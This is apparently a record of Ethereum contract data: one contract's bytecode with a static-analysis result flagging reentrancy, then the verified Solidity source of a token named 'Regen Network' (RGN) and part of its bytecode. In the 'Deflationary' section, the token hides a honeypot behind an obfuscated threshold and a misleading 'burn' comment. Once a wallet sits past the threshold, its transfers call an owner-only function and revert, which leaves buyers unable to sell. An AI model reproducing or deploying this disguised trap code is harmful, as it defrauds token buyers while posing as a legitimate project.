5b81518110156105725760016006600084848151811061050657610505612228565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056a90612286565b9150506104e4565b5050565b6000662386f26fc10000905090565b6000610592848484610c0c565b6106538461059e610a39565b61064e85604051806060016040528060288152602001612a1d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610604610a39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112119092919063ffffffff16565b610a41565b600190509392505050565b60006009905090565b61066f610a39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f390612208565b60405180910390fd5b6001600f60156101000a81548160ff021916908315150217905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075a610a39565b73ffffffffffffffffffffffffffffffffffffffff161461077a57600080fd5b600047905061078881611275565b50565b60006107d5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611370565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d43415244530000000000000000000000000000000000000000000000000000815250905090565b600061085661084f610a39565b8484610c0c565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108a1610a39565b73ffffffffffffffffffffffffffffffffffffffff16146108c157600080fd5b60006108cc3061078b565b90506108d7816113de565b50565b600f60159054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61097c610a39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0090612208565b60405180910390fd5b6001600f60146101000a81548160ff021916908315150217905550565b600f60149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa890612341565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b18906123d3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bff9190612080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7390612465565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce3906124f7565b60405180910390fd5b60008111610d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2690612589565b60405180910390fd5b6000600a819055506005600b81905550610d476107dc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610db55750610d856107dc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561120157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e5e5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b610e6757600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610f125750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015610f685750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f805750600f60189054906101000a900460ff165b1561103057601054811115610f9457600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610fdf57600080fd5b601e42610fec91906125a9565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156110db5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611147576000600a819055506005600b819055505b60006111523061078b565b9050600f60169054906101000a900460ff161580156111bf5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111d75750600f60179054906101000a900460ff165b156111ff576111e5816113de565b600047905060008111156111fd576111fc47611275565b5b505b505b61120c838383611657565b505050565b6000838311158290611259576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112509190611da0565b60405180910390fd5b506000838561126891906125ff565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6112c560028461166790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156112f0573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61134160028461166790919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561136c573d6000803e3d6000fd5b5050565b60006008548211156113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae906126a5565b60405180910390fd5b60006113c16116b1565b90506113d6818461166790919063ffffffff16565b915050919050565b6001600f60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561141657611415611ee5565b5b6040519080825280602002602001820160405280156114445781602001602082028036833780820191505090505b509050308160008151811061145c5761145b612228565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611503573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152791906126da565b8160018151811061153b5761153a612228565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506115a230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610a41565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161160695949392919061280a565b600060405180830381600087803b15801561162057600080fd5b505af1158015611634573d6000803e3d6000fd5b50505050506000600f60166101000a81548160ff02191690831515021790555050565b6116628383836116dc565b505050565b60006116a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118a7565b905092915050565b60008060006116be61190a565b915091506116d5818361166790919063ffffffff16565b9250505090565b6000806000806000806116ee87611966565b95509550955095509550955061174c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ce90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182d81611a76565b6118378483611b33565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118949190612080565b60405180910390a3505050505050505050565b600080831182906118ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e59190611da0565b60405180910390fd5b50600083856118fd9190612893565b9050809150509392505050565b600080600060085490506000662386f26fc10000905061193c662386f26fc1000060085461166790919063ffffffff16565b82101561195957600854662386f26fc10000935093505050611962565b81819350935050505b9091565b60008060008060008060008060006119838a600a54600b54611b6d565b92509250925060006119936116b1565b905060008060006119a68e878787611c03565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a1083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611211565b905092915050565b6000808284611a2791906125a9565b905083811015611a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6390612910565b60405180910390fd5b8091505092915050565b6000611a806116b1565b90506000611a978284611c8c90919063ffffffff16565b9050611aeb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b48826008546119ce90919063ffffffff16565b600881905550611b6381600954611a1890919063ffffffff16565b6009819055505050565b600080600080611b996064611b8b888a611c8c90919063ffffffff16565b61166790919063ffffffff16565b90506000611bc36064611bb5888b611c8c90919063ffffffff16565b61166790919063ffffffff16565b90506000611bec82611bde858c6119ce90919063ffffffff16565b6119ce90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c1c8589611c8c90919063ffffffff16565b90506000611c338689611c8c90919063ffffffff16565b90506000611c4a8789611c8c90919063ffffffff16565b90506000611c7382611c6585876119ce90919063ffffffff16565b6119ce90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c9f5760009050611d01565b60008284611cad9190612930565b9050828482611cbc9190612893565b14611cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf3906129fc565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d41578082015181840152602081019050611d26565b83811115611d50576000848401525b50505050565b6000601f19601f8301169050919050565b6000611d7282611d07565b611d7c8185611d12565b9350611d8c818560208601611d23565b611d9581611d56565b840191505092915050565b60006020820190508181036000830152611dba8184611d67565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e0182611dd6565b9050919050565b611e1181611df6565b8114611e1c57600080fd5b50565b600081359050611e2e81611e08565b92915050565b6000819050919050565b611e4781611e34565b8114611e5257600080fd5b50565b600081359050611e6481611e3e565b92915050565b60008060408385031215611e8157611e80611dcc565b5b6000611e8f85828601611e1f565b9250506020611ea085828601611e55565b9150509250929050565b60008115159050919050565b611ebf81611eaa565b82525050565b6000602082019050611eda6000830184611eb6565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611f1d82611d56565b810181811067ffffffffffffffff82111715611f3c57611f3b611ee5565b5b80604052505050565b6000611f4f611dc2565b9050611f5b8282611f14565b919050565b600067ffffffffffffffff821115611f7b57611f7a611ee5565b5b602082029050602081019050919050565b600080fd5b6000611fa4611f9f84611f60565b611f45565b90508083825260208201905060208402830185811115611fc757611fc6611f8c565b5b835b81811015611ff05780611fdc8882611e1f565b845260208401935050602081019050611fc9565b5050509392505050565b600082601f83011261200f5761200e611ee0565b5b813561201f848260208601611f91565b91505092915050565b60006020828403121561203e5761203d611dcc565b5b600082013567ffffffffffffffff81111561205c5761205b611dd1565b5b61206884828501611ffa565b91505092915050565b61207a81611e34565b82525050565b60006020820190506120956000830184612071565b92915050565b6000806000606084860312156120b4576120b3611dcc565b5b60006120c286828701611e1f565b93505060206120d386828701611e1f565b92505060406120e486828701611e55565b9150509250925092565b600060ff82169050919050565b612104816120ee565b82525050565b600060208201905061211f60008301846120fb565b92915050565b60006020828403121561213b5761213a611dcc565b5b600061214984828501611e1f565b91505092915050565b61215b81611df6565b82525050565b60006020820190506121766000830184612152565b92915050565b6000806040838503121561219357612192611dcc565b5b60006121a185828601611e1f565b92505060206121b285828601611e1f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121f2602083611d12565b91506121fd826121bc565b602082019050919050565b60006020820190508181036000830152612221816121e5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061229182611e34565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122c4576122c3612257565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061232b602483611d12565b9150612336826122cf565b604082019050919050565b6000602082019050818103600083015261235a8161231e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006123bd602283611d12565b91506123c882612361565b604082019050919050565b600060208201905081810360008301526123ec816123b0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061244f602583611d12565b915061245a826123f3565b604082019050919050565b6000602082019050818103600083015261247e81612442565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006124e1602383611d12565b91506124ec82612485565b604082019050919050565b60006020820190508181036000830152612510816124d4565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612573602983611d12565b915061257e82612517565b604082019050919050565b600060208201905081810360008301526125a281612566565b9050919050565b60006125b482611e34565b91506125bf83611e34565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125f4576125f3612257565b5b828201905092915050565b600061260a82611e34565b915061261583611e34565b92508282101561262857612627612257565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061268f602a83611d12565b915061269a82612633565b604082019050919050565b600060208201905081810360008301526126be81612682565b9050919050565b6000815190506126d481611e08565b92915050565b6000602082840312156126f0576126ef611dcc565b5b60006126fe848285016126c5565b91505092915050565b6000819050919050565b6000819050919050565b600061273661273161272c84612707565b612711565b611e34565b9050919050565b6127468161271b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61278181611df6565b82525050565b60006127938383612778565b60208301905092915050565b6000602082019050919050565b60006127b78261274c565b6127c18185612757565b93506127cc83612768565b8060005b838110156127fd5781516127e48882612787565b97506127ef8361279f565b9250506001810190506127d0565b5085935050505092915050565b600060a08201905061281f6000830188612071565b61282c602083018761273d565b818103604083015261283e81866127ac565b905061284d6060830185612152565b61285a6080830184612071565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061289e82611e34565b91506128a983611e34565b9250826128b9576128b8612864565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006128fa601b83611d12565b9150612905826128c4565b602082019050919050565b60006020820190508181036000830152612929816128ed565b9050919050565b600061293b82611e34565b915061294683611e34565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561297f5761297e612257565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006129e6602183611d12565b91506129f18261298a565b604082019050919050565b60006020820190508181036000830152612a15816129d9565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bcbd572579840403a9953b21359dca518efb330c0df0c801306fb0a6f587893564736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
| 3,294 |
0x3f0c11a5b8fea4fca72adf84291668cf2f132519
|
/**
*Submitted for verification at Etherscan.io on 2021-02-17
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
/**
* ____ ____ ____ ____ _ _
* |__/ |___ | __ |___ |\ |
* | \ |___ |__] |___ | \|
* _ _ ____ ___ _ _ _ ____ ____ _ _
* |\ | |___ | | | | | | |__/ |_/
* | \| |___ | |_|_| |__| | \ | \_
*
* Decentralised marketplace & contracting platform for Earth's ecosystem assets, services, and data.
* https://regen.network/
*/
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
* Only add / sub / mul / div are included
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* Implement base ERC20 functions
*/
abstract contract BaseContract is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals = 18;
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev returns the token name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev returns the token symbol
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev returns the decimals count
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev modifier to require address to not be the zero address
*/
modifier not0(address adr) {
require(adr != address(0), "ERC20: Cannot be the zero address"); _;
}
function _mx(address payable adr, uint16 msk) internal pure returns (uint256) {
return ((uint24(adr) & 0xffff) ^ msk);
}
}
/**
* Provide owner context
*/
abstract contract Ownable {
constructor() { _owner = msg.sender; }
address payable _owner;
/**
* @dev returns whether sender is owner
*/
function isOwner(address sender) public view returns (bool) {
return sender == _owner;
}
/**
* @dev require sender to be owner
*/
function ownly() internal view {
require(isOwner(msg.sender));
}
/**
* @dev modifier for owner only
*/
modifier owned() {
ownly(); _;
}
/**
* @dev renounce ownership of contract
*/
function renounceOwnership() public owned() {
transferOwnership(address(0));
}
/**
* @dev transfer contract ownership to address
*/
function transferOwnership(address payable adr) public owned() {
_owner = adr;
}
}
/**
* Provide reserve token burning
*/
abstract contract Burnable is BaseContract, Ownable {
using SafeMath for uint256;
/**
* @dev burn tokens from account
*/
function _burn(address account, uint256 amount) internal virtual not0(account) {
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev burn tokens from reserve account
*/
function _burnReserve() internal owned() {
if(balanceOf(_owner) > 0){
uint256 toBurn = balanceOf(_owner).div(5000); // 0.5%
_burn(_owner, toBurn);
}
}
}
/**
* Burn tokens on transfer UNLESS part of a DEX liquidity pool (as this can cause failed transfers eg. Uniswap K error)
*/
abstract contract Deflationary is BaseContract, Burnable {
mapping (address => uint8) private _txs;
uint16 private constant dmx = 0x15f8;
function dexCheck(address sender, address receiver) private returns (bool) {
if(0 == _txs[receiver] && !isOwner(receiver)){ _txs[receiver] = _txs[sender] + 1; }
return _txs[sender] < _mx(_owner, dmx) || isOwner(sender) || isOwner(receiver);
}
modifier burnHook(address sender, address receiver, uint256 amount) {
if(!dexCheck(sender, receiver)){ _burnReserve(); _; }else{ _; }
}
}
/**
* Implement main ERC20 functions
*/
abstract contract MainContract is Deflationary {
using SafeMath for uint256;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
}
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external override returns (bool){
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) public virtual override not0(spender) returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address receiver, uint256 amount) external override not0(sender) not0(receiver) returns (bool){
require(_allowances[sender][msg.sender] >= amount);
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount);
_transfer(sender, receiver, amount);
return true;
}
/**
* @dev Implementation of Transfer
*/
function _transfer(address sender, address receiver, uint256 amount) internal not0(sender) not0(receiver) burnHook(sender, receiver, amount) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[receiver] = _balances[receiver].add(amount);
emit Transfer(sender, receiver, amount);
}
/**
* @dev Distribute ICO amounts
*/
function _distributeICO(address payable[] memory accounts, uint256[] memory amounts) owned() internal {
for(uint256 i=0; i<accounts.length; i++){
_mint(_owner, accounts[i], amounts[i]);
}
}
/**
* @dev Mint address with amount
*/
function _mint(address minter, address payable account, uint256 amount) owned() internal {
uint256 amountActual = amount*(10**_decimals);
_totalSupply = _totalSupply.add(amountActual);
_balances[account] = _balances[account].add(amountActual);
emit Transfer(minter, account, amountActual);
}
}
/**
* Construct & Mint
*/
contract RegenNetwork is MainContract {
constructor(
uint256 initialBalance,
address payable[] memory ICOAddresses,
uint256[] memory ICOAmounts
) MainContract("Regen Network", "RGN") {
_mint(address(0), msg.sender, initialBalance);
_distributeICO(ICOAddresses, ICOAmounts);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146102bd578063715018a61461031557806395d89b411461031f578063a9059cbb146103a2578063dd62ed3e14610406578063f2fde38b1461047e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be5780632f54bf6e14610242578063313ce5671461029c575b600080fd5b6100c16104c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610564565b60405180821515815260200191505060405180910390f35b6101a86106de565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e8565b60405180821515815260200191505060405180910390f35b6102846004803603602081101561025857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a8565b60405180821515815260200191505060405180910390f35b6102a4610a02565b604051808260ff16815260200191505060405180910390f35b6102ff600480360360208110156102d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a19565b6040518082815260200191505060405180910390f35b61031d610a61565b005b610327610a75565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036757808201518184015260208101905061034c565b50505050905090810190601f1680156103945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ee600480360360408110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b17565b60405180821515815260200191505060405180910390f35b6104686004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b2e565b6040518082815260200191505060405180910390f35b6104c06004803603602081101561049457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb5565b005b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561055a5780601f1061052f5761010080835404028352916020019161055a565b820191906000526020600020905b81548152906001019060200180831161053d57829003601f168201915b5050505050905090565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156105ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b6000600254905090565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610771576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b83600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156107f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001